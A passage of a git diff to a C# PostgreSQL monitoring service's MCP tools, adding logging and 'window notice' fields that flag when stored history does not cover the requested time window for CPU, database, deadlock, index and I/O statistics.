         NpgsqlDataSource postgres, string? server_name, int hours_back, string? as_of, int? bucket_minutes, TrendBudget budget,
-        CancellationToken cancellationToken = default)
+        ILogger? logger = null, CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
-        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5562: reaches the raw table's 30-day retention (720 h); 65 ms at 30 days on a large store. The ceiling is the WebReadReach row. */
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_pg_cpu_utilization"), out var windowEnd);
         if (validation != null) return validation;
 
         var bucketError = TrendBuckets.Resolve(hours_back, bucket_minutes, 1, budget, out var bucketMinutes);
@@ -80,17 +83,34 @@ internal static async Task<string> GetPgCpuUtilization(
                 /* Not-collected first: a self-hosted target has no route at all (see
                    PgCpuUtilizationCollector's doc comment), so that is the likelier and more actionable
                    answer than a bare "no data in window". */
-                return await DarlingEngineCapability.NotCollectedStatusAsync(
-                    postgres, resolved.ServerId, resolved.ServerName, "pg_cpu_utilization", cancellationToken)
-                    ?? McpHelpers.Status(
-                        "empty",
-                        $"No CPU utilization data for {resolved.ServerName} in the last {hours_back} hour(s).");
+                var notCollected = await DarlingEngineCapability.NotCollectedStatusAsync(
+                    postgres, resolved.ServerId, resolved.ServerName, "pg_cpu_utilization", cancellationToken);
+                if (notCollected is not null)
+                {
+                    return notCollected;
+                }
+
+                /* #4966: the empty answer carries the window floor under hints. Samples are windowed on collection_time, the
+                   probe's own column; the web does not list this read, so the collector table is the source. */
+                var emptyNotice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_cpu_utilization", resolved.ServerName, windowEnd.AddHours(-hours_back), windowEnd, emptyAnswer: true, logger, cancellationToken);
+                return McpHelpers.Status(
+                    "empty",
+                    $"No CPU utilization data for {resolved.ServerName} in the last {hours_back} hour(s).",
+                    emptyNotice.AsHints());
             }
 
-            return JsonSerializer.Serialize(new
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_cpu_utilization", resolved.ServerName, windowEnd.AddHours(-hours_back), windowEnd, emptyAnswer: false, logger, cancellationToken);
+            return DarlingMcpWindowNotice.Finish(JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: the window floor, right after hours_back. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+
                 bucket = TrendBuckets.Word(bucketMinutes),
                 bucket_minutes = bucketMinutes,
                 aggregate_note = TrendBuckets.LevelNote(bucketMinutes, bucket_minutes is not null, budget.AutoPoints, firstAtWindowStart: false),
@@ -123,7 +143,7 @@ answer than a bare "no data in window". */
                     configured_memory_bytes = p.Memory?.ConfiguredBytes,
                     memory_samples_in_bucket = p.MemorySamples,
                 }),
-            }, McpHelpers.JsonOptions);
+            }, McpHelpers.JsonOptions), notice);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgDatabaseTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgDatabaseTools.cs
index 9a96587b64..50b61e79da 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgDatabaseTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgDatabaseTools.cs
@@ -13,6 +13,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
@@ -144,6 +145,7 @@ public static async Task<string> GetPgDatabaseStats(
         [Description("Hours of history to analyze. Default 24.")] int hours_back = 24,
         [Description("Maximum databases to return, most temp bytes first. Default 20. Bounds databases[] only; read truncated to know whether more exist; totals stay of the whole window regardless.")] int limit = 20,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -166,10 +168,13 @@ have a scope the cap cannot shrink. */
 
             if (page.Rows.Count == 0)
             {
-                return await EmptyAsync(postgres, resolved.ServerId, resolved.ServerName, hours_back, start, end, cancellationToken);
+                return await EmptyAsync(postgres, resolved.ServerId, resolved.ServerName, hours_back, start, end, logger, cancellationToken);
             }
 
-            return BuildDatabaseStatsJson(resolved.ServerName, hours_back, page, limit);
+            /* #4966: decided after the empty branch, whose not-collected answer carries no notice. */
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_database_stats", resolved.ServerName, start, end, emptyAnswer: false, logger, cancellationToken);
+            return BuildDatabaseStatsJson(resolved.ServerName, hours_back, page, limit, notice);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -200,8 +205,10 @@ have a scope the cap cannot shrink. */
     /// it.</para>
     /// </summary>
     internal static string BuildDatabaseStatsJson(
-        string serverName, int hoursBack, DarlingPgDatabaseReader.PgDatabasePage page, int limit)
+        string serverName, int hoursBack, DarlingPgDatabaseReader.PgDatabasePage page, int limit,
+        McpWindowNotice? windowNotice = null)
     {
+        var notice = windowNotice ?? McpWindowNotice.Unavailable;
         var truncated = page.Rows.Count > limit;
         var rows = truncated ? page.Rows.Take(limit).ToList() : page.Rows;
 
@@ -270,10 +277,14 @@ history read as an idle database. */
         })
         .ToList();
 
-        return JsonSerializer.Serialize(new
+        return DarlingMcpWindowNotice.Finish(JsonSerializer.Serialize(new
         {
             server = serverName,
             hours_back = hoursBack,
+            /* #4966: the window floor, right after hours_back. */
+            effective_start = notice.EffectiveStart,
+            window_truncated = notice.WindowTruncated,
+            truncation_note = notice.TruncationNote,
             status = "database_activity",
             /* #3541 A3 dialect: the page described as a page. database_count is the WINDOW's - how many
                databases moved or were reset in it, COUNT(*) OVER () on the row statement - which is what
@@ -331,7 +342,7 @@ the statement (#3613 named it as the house rule's other arm). Kept beside cache_
                     + "rest of the rows."
                     : string.Empty),
             databases,
-        }, McpHelpers.JsonOptions);
+        }, McpHelpers.JsonOptions), notice);
     }
 
     /// <summary>
@@ -347,7 +358,7 @@ the statement (#3613 named it as the house rule's other arm). Kept beside cache_
     /// </summary>
     private static async Task<string> EmptyAsync(
         NpgsqlDataSource postgres, int serverId, string serverName, int hoursBack, DateTime start, DateTime end,
-        CancellationToken cancellationToken = default)
+        ILogger? logger, CancellationToken cancellationToken = default)
     {
         var gated = await DarlingEngineCapability.NotCollectedStatusAsync(
             postgres, serverId, serverName, "pg_database_stats", cancellationToken);
@@ -369,13 +380,28 @@ private static async Task<string> EmptyAsync(
 
         if (samplesInWindow >= 2)
         {
+            /* #4966: the empty answer carries the window floor under hints; the unavailable ones below stay as they were. */
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_database_stats", serverName, start, end, emptyAnswer: true, logger, cancellationToken);
             return McpHelpers.Status(
                 "empty",
-                $"No database recorded transactions, block accesses, temp files or deadlocks for {serverName} "
-                + $"in the last {hoursBack} hour(s), and no statistics reset either. Collection DID run over "
-                + "this window - at least two snapshots exist to difference - so this is a genuine all-clear "
-                + "rather than missing data.",
-                hints);
+                McpHelpers.QuietUnlessCut(
+                    notice.WindowTruncated, notice.EffectiveStart,
+                    factual: $"No database recorded transactions, block accesses, temp files or deadlocks for {serverName} "
+                        + $"in the last {hoursBack} hour(s), and no statistics reset either. Collection DID run over "
+                        + "this window - at least two snapshots exist to difference",
+                    coveredClaim: " - so this is a genuine all-clear "
+                        + "rather than missing data."),
+                notice.IsUnavailable ? hints : new
+                {
+                    hints.server,
+                    hints.hours_back,
+                    hints.samples_in_window,
+                    hints.ever_collected,
+                    effective_start = notice.EffectiveStart,
+                    window_truncated = notice.WindowTruncated,
+                    truncation_note = notice.TruncationNote,
+                });
         }
 
         if (samplesInWindow == 1)
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgDeadlockTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgDeadlockTools.cs
index e225ae308b..088ecce078 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgDeadlockTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgDeadlockTools.cs
@@ -7,6 +7,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
@@ -81,6 +82,7 @@ public static async Task<string> GetPgDeadlocks(
         [Description("Hours of history to analyze. Default 24.")] int hours_back = 24,
         [Description("Maximum deadlocks to return. Default 25. See the tool's reading guide.")] int limit = 25,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -94,6 +96,7 @@ public static async Task<string> GetPgDeadlocks(
 
         try
         {
+            var windowStart = windowEnd.AddHours(-hours_back);
             /* #3653 (the #3541 A3 class, the residue #3679 named): the caller's limit + 1 as the fetch, the
                extra row as the OBSERVED truncation signal. This used to publish `rows.Count >= limit`, which
                says "more" for a window holding exactly `limit` distinct deadlocks - the one case an
@@ -101,7 +104,7 @@ public static async Task<string> GetPgDeadlocks(
                plausible shape for a bad afternoon, not a corner. McpHelpers.BoundPage trims the page back to
                `limit`, so deadlock_count below stays a count of what is returned. */
             var fetched = await DarlingPgDeadlockReader.GetDeadlocksAsync(
-                postgres, resolved.ServerId, windowEnd.AddHours(-hours_back), windowEnd, limit + 1, cancellationToken);
+                postgres, resolved.ServerId, windowStart, windowEnd, limit + 1, cancellationToken);
             var (rows, truncated) = McpHelpers.BoundPage(fetched, limit);
 
             if (rows.Count == 0)
@@ -116,15 +119,29 @@ public static async Task<string> GetPgDeadlocks(
                     postgres, resolved.ServerId, resolved.ServerName, "pg_deadlocks", cancellationToken)
                     ?? await DarlingRuntimePrecondition.StatusAsync(
                         postgres, resolved.ServerId, resolved.ServerName, "pg_deadlocks", cancellationToken)
+                    /* #4966: not_collected and the precondition stay bare; a quiet answer carries the window keys under hints. */
                     ?? McpHelpers.Status(
                         "no_deadlocks",
-                        NoDeadlocksText(resolved.ServerName, hours_back));
+                        NoDeadlocksText(resolved.ServerName, hours_back),
+                        (await DarlingMcpWindowNotice.ReadEventAsync(
+                            () => DarlingMcpWindowNotice.Probe(postgres, "pg_deadlocks", resolved.ServerName, windowStart, windowEnd, cancellationToken),
+                            null, windowStart, windowEnd, "pg_deadlocks", emptyAnswer: true, logger: logger, cancellationToken: cancellationToken)).AsHints());
             }
 
-            return JsonSerializer.Serialize(new
+            /* #4966: the notice is always COVERAGE, whether or not the cap cut the page (the cap is reported by truncated). A sparse event
+               list windowed on the event's own time: the floor is the earlier of the coverage probe (the schedule's retention edge and the
+               server's first collection, never an oldest row) and the oldest event shown (a first run stores events from before itself). */
+            var notice = await DarlingMcpWindowNotice.ReadEventAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, "pg_deadlocks", resolved.ServerName, windowStart, windowEnd, cancellationToken),
+                rows.Min(r => r.OccurredAtUtc), windowStart, windowEnd, "pg_deadlocks", logger: logger, cancellationToken: cancellationToken);
+
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 status = "deadlocks",
                 deadlock_count = rows.Count,
                 truncated,
@@ -143,6 +160,9 @@ is usually the only end anybody noticed. */
                     times_seen = r.TimesSeen,
                 }),
             }, McpHelpers.JsonOptions);
+
+            /* A failed probe costs the notice, never the rows (see DarlingMcpWindowNotice.ReadAsync). */
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIndexTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIndexTools.cs
index e49f1c1fdf..2304dbe7b9 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIndexTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIndexTools.cs
@@ -47,6 +47,9 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 [McpServerToolType]
 public sealed class DarlingMcpPgIndexTools
 {
+    /* #4966: no window notice on this read. It is a newest-per-key read (the NEWEST estimate per index, a latest-state read, not a difference across the
+       window), and its own coverage verdict (coverage, reach and the PgCappedRead classification) already says what the window did
+       and did not hold. A second, window-floor verdict beside it would answer a different question than the reader is asking. */
     [McpServerTool(Name = "get_pg_index_bloat"), Description("Gets ESTIMATED PostgreSQL btree index bloat from catalog stats (no page reads), ranked by reclaimable BYTES, never percentage. measurement_kind: estimated (stats model) or measured (an older pgstatindex reading in retention). skipped_reason present = NO answer, not healthy; remediable (ANALYZE, a grant) vs structurally unmodellable (PARTIAL/DEDUPLICATED) - use exact_measurement_command instead. Answerless rows sort FIRST by design: read coverage before judging reach, and pass answered_only=true to reach real answers - est_tuple_bytes alone looks complete even on skipped rows. <<GUIDE>> Gets ESTIMATED PostgreSQL btree index bloat, computed from catalog statistics with NO page reads: how many bytes a REINDEX could plausibly reclaim, the modelled tuple width and leaf-page count it rests on, and the parent row count and fillfactor those came from. Ranked by reclaimable BYTES and never by percentage - a 64 kB index at 20% tops a percentage-ranked list and is worth 50 kB next to a 10 GB index at 45% worth 5.37 GB. Read measurement_kind: 'estimated' rows come from the statistics model, 'measured' rows are older pgstatindex measurements still inside the retention window. Accuracy against pgstatindex ground truth on a live 2,500-index target: median absolute error 2.79 percentage points, p90 6.63. A row with a skipped_reason has NO answer rather than a healthy one - never read a missing estimate as a clean bill of health - and the reason says whether it is remediable: a never-analyzed parent needs an ANALYZE, invisible column widths need the pg_read_all_data grant, while a PARTIAL index and a DEDUPLICATED one (low-cardinality, non-unique) are structurally unmodellable at any grant or statistics freshness and need the exact function instead. Every row carries exact_measurement_command, which is the pgstatindex call for that index: it walks every page, so run it deliberately on the one index you are about to act on rather than on a schedule - the same relationship SQL Server has between LIMITED and DETAILED index physical stats. This is the COMPLETE btree census with no size floor, so it returns MORE rows than get_pg_index_usage, which floors at 64 kB - 2,500 against 1,517 on one measured target. Neither census is missing objects. ALWAYS read the coverage field before concluding anything about how much of a server this covers, and never infer that from the rows: answerless rows sort FIRST by design, so any limit smaller than the answerless population returns 100% skipped rows structurally rather than by chance, and raising the limit does not fix it while that population is still larger. coverage comes from a separate population-level query that no limit touches - candidate indexes, trusted versus suppressed, and each suppression reason - and every count carries its BYTES because the two rankings disagree: on a live fleet the reason that is second largest by row count is the SMALLEST by footprint at 0.0004% of it, while the fourth largest by rows is second by bytes at 1.4 TB. Judge the gap by bytes. And skipped_reason IS NULL is the ONLY trust predicate here: est_tuple_bytes is populated on 100% of the rows that have no answer and est_bloat_pct on 0% of them, so filtering on est_tuple_bytes returns every row and reads as complete coverage. To READ the answers, pass answered_only: true - the answerless-first sort means that on a big server the answers sort behind more answerless rows than any permitted limit can page past, measured at 1,779 answerless ahead of 726 answers covering 213.8 GB against a 1000-row maximum, so raising the limit cannot reach them and answered_only is the only route. The reach field says which situation you are in and whether a larger limit would help: Unreachable means it would not, at any value, ever. answered_only leaves the default order alone and the coverage census unchanged, so a filtered ranking still carries its denominator - and answered_only over a server where NOTHING has an answer returns status no_answers rather than an empty, because \"nothing measurable\" is not \"nothing to reclaim\". This is what bounds the page - read truncated to know whether the census held more indexes than were returned; it is observed by fetching one row past this cap, never inferred from a full page, and the coverage field is measured independently of it. answered_only defaults to false, which leaves the answerless-first order alone. Set answered_only when you want the RANKING: answerless rows sort first by design, so on a server whose answerless population exceeds the 1000-row maximum the answers cannot be reached at any limit - measured at 1,779 answerless ahead of 726 answers covering 213.8 GB. The coverage census is unaffected by this, so a filtered ranking still carries the same denominator; read the reach field to see which situation you are in.")]
     public static async Task<string> GetPgIndexBloat(
         NpgsqlDataSource postgres,
@@ -385,6 +388,8 @@ whether this response could ever have contained them. */
         }
     }
 
+    /* #4966: no window notice on this read, for the reason get_pg_index_bloat has none. It is a newest-per-key read of the column
+       statistics, and its own coverage verdict answers the question the window would raise. */
     [McpServerTool(Name = "get_pg_column_stats"), Description("Gets PostgreSQL per-column planner statistics from pg_stats: n_distinct, null fraction, average width, correlation, and top-value frequency. One row per column: the LATEST capture inside the window, not a history; this collector runs DAILY, so a window under a day can be empty on a healthy server. n_distinct is a RATIO of table rows when negative (-1 = every value unique), an absolute count when positive - check the sign. Gated: only columns on tables above a size floor, visible to the monitoring login, are collected; always read the coverage field first. <<GUIDE>> Gets PostgreSQL per-column distribution statistics from pg_stats: n_distinct, null fraction, average width, physical correlation, and the frequency of the single most common value. These are the numbers the PLANNER uses, so they explain plan shapes that otherwise look arbitrary. n_distinct is negative when PostgreSQL expresses it as a RATIO of table rows (-1 means every value is unique) and positive when it is an absolute count - do not compare the two without checking the sign. correlation near 1 or -1 means the column's physical order matches its logical order, which is what makes an index range scan cheap; near 0 makes the same scan expensive. A high top_value_frequency is the classic cause of a plan that is right for the common value and wrong for every other one. Only columns on tables above a size floor are collected, and only where the monitoring login can see the statistics - so ALWAYS read the coverage field before acting on this: it names which of those produced the result, and PartialVisibility or StatisticsNotVisible means the statistics you are looking at are not all of them.")]
     public static async Task<string> GetPgColumnStats(
         NpgsqlDataSource postgres,
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIndexUsageTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIndexUsageTools.cs
index 93d4cd8299..7489ab720d 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIndexUsageTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIndexUsageTools.cs
@@ -14,6 +14,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
@@ -30,6 +31,9 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 [McpServerToolType]
 public sealed class DarlingMcpPgIndexUsageTools
 {
+    /// <summary>The collector table the tool reads, named in its window notice (#4966).</summary>
+    private const string UsageTable = "pg_index_usage_stats";
+
     /// <summary>
     /// Below this many samples the read has not watched the index long enough to say anything about
     /// disuse. Two is the floor rather than a comfortable number: it is the minimum at which
@@ -230,6 +234,7 @@ public static async Task<string> GetPgIndexUsage(
         [Description("Hours of history to analyze. Default 168 (seven days). Widen this to the longest interval any scheduled job runs on before calling an index unused.")] int hours_back = 168,
         [Description("Maximum indexes to return, biggest unscanned first. Default 25. See the tool's reading guide.")] int limit = 25,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -254,9 +259,18 @@ is a count of the page. */
 
             if (rows.Count == 0)
             {
-                return await EmptyAsync(postgres, resolved.ServerId, resolved.ServerName, hours_back, start, end, cancellationToken);
+                return await EmptyAsync(postgres, resolved.ServerId, resolved.ServerName, hours_back, start, end, logger, cancellationToken);
             }
 
+            /* #4966: scans_in_window is a DIFFERENCE between the first and last sample, and this collector runs daily, so a short
+               history gives a small difference that can make an index look unused. The keys come from coverage (the collector's
+               table), and a failed probe costs the keys, never the rows. */
+            var notice = await DarlingMcpWindowNotice.ReadAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, UsageTable, resolved.ServerName, start, end, cancellationToken),
+                start, end, UsageTable,
+                "scans_in_window is a difference between samples and covers only effective_start onward, so a short history undercounts: an index can look unused only because it has been watched briefly.",
+                logger: logger, cancellationToken: cancellationToken);
+
             var unscanned = rows.Where(r => r.ScansInWindow == 0 && r.IsValid && !r.IsPrimaryKey
                                             && !r.SupportsConstraint && !r.IsUnique && !r.IsReplicaIdentity
                                             && r.SampleCount >= MinimumSamplesForADisuseClaim).ToList();
@@ -325,10 +339,13 @@ against production. */
             })
             .ToList();
 
-            return JsonSerializer.Serialize(new
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 status = "index_usage",
                 /* The page's count under the page's name (#3594). */
                 indexes_returned = indexes.Count,
@@ -367,6 +384,9 @@ field name has to survive being read by something that will act on it. */
                          : string.Empty),
                 indexes,
             }, McpHelpers.JsonOptions);
+
+            /* A failed probe costs the notice, never the rows (see DarlingMcpWindowNotice.ReadAsync). */
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -385,7 +405,7 @@ field name has to survive being read by something that will act on it. */
     /// </summary>
     private static async Task<string> EmptyAsync(
         NpgsqlDataSource postgres, int serverId, string serverName, int hoursBack, DateTime start, DateTime end,
-        CancellationToken cancellationToken = default)
+        ILogger? logger = null, CancellationToken cancellationToken = default)
     {
         var gated = await DarlingEngineCapability.NotCollectedStatusAsync(
             postgres, serverId, serverName, "pg_index_usage_stats", cancellationToken);
@@ -396,23 +416,41 @@ private static async Task<string> EmptyAsync(
 
         var probe = await DarlingPgIndexUsageReader.ProbePgIndexUsageAsync(postgres, serverId, start, end, cancellationToken);
 
-        var hints = new
+        /* #4966: the window keys ride under hints on the empty and the unavailable answers (nothing was read, so a short store reads as
+           "nothing happened" otherwise); not_collected, decided above, stays bare. */
+        var notice = await DarlingMcpWindowNotice.ReadAsync(
+            () => DarlingMcpWindowNotice.Probe(postgres, UsageTable, serverName, start, end, cancellationToken),
+            start, end, UsageTable, emptyAnswer: true, logger: logger, cancellationToken: cancellationToken);
+
+        var hints = new Dictionary<string, object?>
         {
-            server = serverName,
-            hours_back = hoursBack,
-            rows_in_window = probe.RowsInWindow,
-            snapshots_in_window = probe.SnapshotsInWindow,
-            ever_collected = probe.RowsEver > 0,
+            ["server"] = serverName,
+            ["hours_back"] = hoursBack,
+            ["rows_in_window"] = probe.RowsInWindow,
+            ["snapshots_in_window"] = probe.SnapshotsInWindow,
+            ["ever_collected"] = probe.RowsEver > 0,
         };
+        if (!notice.IsUnavailable)
+        {
+            /* A failed probe has no verdict, so no key rather than a false one. */
+            hints["effective_start"] = notice.EffectiveStart;
+            hints["window_truncated"] = notice.WindowTruncated;
+            hints["truncation_note"] = notice.TruncationNote;
+        }
 
+        /* This "empty" branch cannot be reached today: snapshots are counted from the same rows the read walks, so two or more
+           snapshots in the window mean rows were returned. It stays, with its NothingFoundStatusByRead entry, in case the two ever diverge. */
         if (probe.SnapshotsInWindow >= MinimumSamplesForADisuseClaim)
         {
             return McpHelpers.Status(
                 "empty",
-                $"No indexes were recorded for {serverName} in the last {hoursBack} hour(s) even though "
-                + "collection ran - at least two snapshots exist. Every index on every collected database is "
-                + "under the collector's 64 KB size floor, which is the state of a schema whose indexes are "
-                + "all trivially small. That is a genuine all-clear rather than missing data.",
+                McpHelpers.QuietUnlessCut(
+                    notice is { IsUnavailable: false, WindowTruncated: true }, notice.EffectiveStart,
+                    factual: $"No indexes were recorded for {serverName} in the last {hoursBack} hour(s) even though "
+                        + "collection ran - at least two snapshots exist. Every index on every collected database is "
+                        + "under the collector's 64 KB size floor, which is the state of a schema whose indexes are "
+                        + "all trivially small",
+                    coveredClaim: ". That is a genuine all-clear rather than missing data."),
                 hints);
         }
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIoTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIoTools.cs
index e2f8661777..2879200f53 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIoTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIoTools.cs
@@ -12,6 +12,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
@@ -41,6 +42,7 @@ public static async Task<string> GetPgIoStats(
         [Description("Hours of history to analyze. Default 24.")] int hours_back = 24,
         [Description("Maximum (backend_type, object, context) combinations to return, busiest first. Default 20. Bounds the page - read truncated for more; the shares stay of the whole window whatever this is set to.")] int limit = 20,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -72,16 +74,20 @@ below have denominators the cap cannot shrink. */
                     return gated;
                 }
 
-                return JsonSerializer.Serialize(new
+                /* #4966: the nothing-found word is an empty answer, so it carries the window floor under hints. */
+                var emptyNotice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                    postgres, "get_pg_io_stats", resolved.ServerName, now.AddHours(-hours_back), now, emptyAnswer: true, logger, cancellationToken);
+                return DarlingMcpWindowNotice.FinishEmpty(JsonSerializer.Serialize(new
                 {
                     server = resolved.ServerName,
                     hours_back,
                     status = "no_io_activity",
+                    hints = emptyNotice.AsHints(),
                     finding = "No (backend_type, object, context) combination recorded read, write, extend or "
                             + "hit activity in this window. On a busy server that more likely means the "
                             + "collector has not run yet than that the server is idle — pg_stat_io needs "
                             + "PostgreSQL 16 or later, so check the target's major version.",
-                }, McpHelpers.JsonOptions);
+                }, McpHelpers.JsonOptions), emptyNotice);
             }
 
             /* Asked of the server's OWN configuration rather than inferred from the zeros, exactly as the
@@ -91,7 +97,9 @@ trend sibling asks it (#3536): the two readings a zero latency permits — "the
             var timingSetting = await DarlingPgTrendReader.GetIoTimingTrackedAsync(
                 postgres, resolved.ServerId, windowEnd, cancellationToken);
 
-            return BuildIoJson(resolved.ServerName, hours_back, page, limit, timingSetting);
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_io_stats", resolved.ServerName, now.AddHours(-hours_back), now, emptyAnswer: false, logger, cancellationToken);
+            return BuildIoJson(resolved.ServerName, hours_back, page, limit, timingSetting, notice);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -123,8 +131,10 @@ internal static string BuildIoJson(
         int hoursBack,
         DarlingPgIoReader.PgIoPage page,
         int limit,
-        bool? timingSetting)
+        bool? timingSetting,
+        McpWindowNotice? windowNotice = null)
     {
+        var notice = windowNotice ?? McpWindowNotice.Unavailable;
         var truncated = page.Rows.Count > limit;
         var rows = truncated ? page.Rows.Take(limit).ToList() : page.Rows;
 
@@ -201,10 +211,14 @@ would UNDERCOUNT because a vectored read covers several blocks. */
         var bytesMeasured = rows.Any(r => r.ByteCountersTracked);
         var bytesEstimated = !bytesMeasured && rows.Any(r => r.OpBytes > 0);
 
-        return JsonSerializer.Serialize(new
+        return DarlingMcpWindowNotice.Finish(JsonSerializer.Serialize(new
         {
             server = serverName,
             hours_back = hoursBack,
+            /* #4966: the window floor, right after hours_back. */
+            effective_start = notice.EffectiveStart,
+            window_truncated = notice.WindowTruncated,
+            truncation_note = notice.TruncationNote,
             status = "io_activity",
             /* #3541 A3 dialect: the page described as a page. combinations_returned is the page's count, in
                the `<noun>s_returned` spelling every other paged tool uses (queries_returned,
@@ -283,6 +297,6 @@ from the absence of writes. */
                       + "columns PostgreSQL 18 replaced it with are not being collected. The counts and "
                       + "times above are unaffected."),
             combinations,
-        }, McpHelpers.JsonOptions);
+        }, McpHelpers.JsonOptions), notice);
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgKernelStatsTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgKernelStatsTools.cs
index 686dc01c56..a082eb5277 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgKernelStatsTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgKernelStatsTools.cs
@@ -13,6 +13,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
@@ -50,6 +51,7 @@ public static async Task<string> GetPgKernelStats(
         [Description("Hours of history to analyze. Default 24.")] int hours_back = 24,
         [Description("Maximum query shapes to return, most CPU first. Default 20. This is what bounds the page - read truncated to know whether the window held more; the shares stay of the whole window.")] int limit = 20,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -73,18 +75,37 @@ denominator the cap cannot shrink. */
                 /* pg_stat_kcache needs shared_preload_libraries and a restart, so "not installed" is the
                    likely answer and the precondition vocabulary names the fix. Ordered after the
                    capability check so a wrong-engine target is never told to install an extension. */
-                return await DarlingEngineCapability.NotCollectedStatusAsync(
+                var bare = await DarlingEngineCapability.NotCollectedStatusAsync(
                     postgres, resolved.ServerId, resolved.ServerName, "pg_kernel_stats", cancellationToken)
                     ?? await DarlingRuntimePrecondition.StatusAsync(
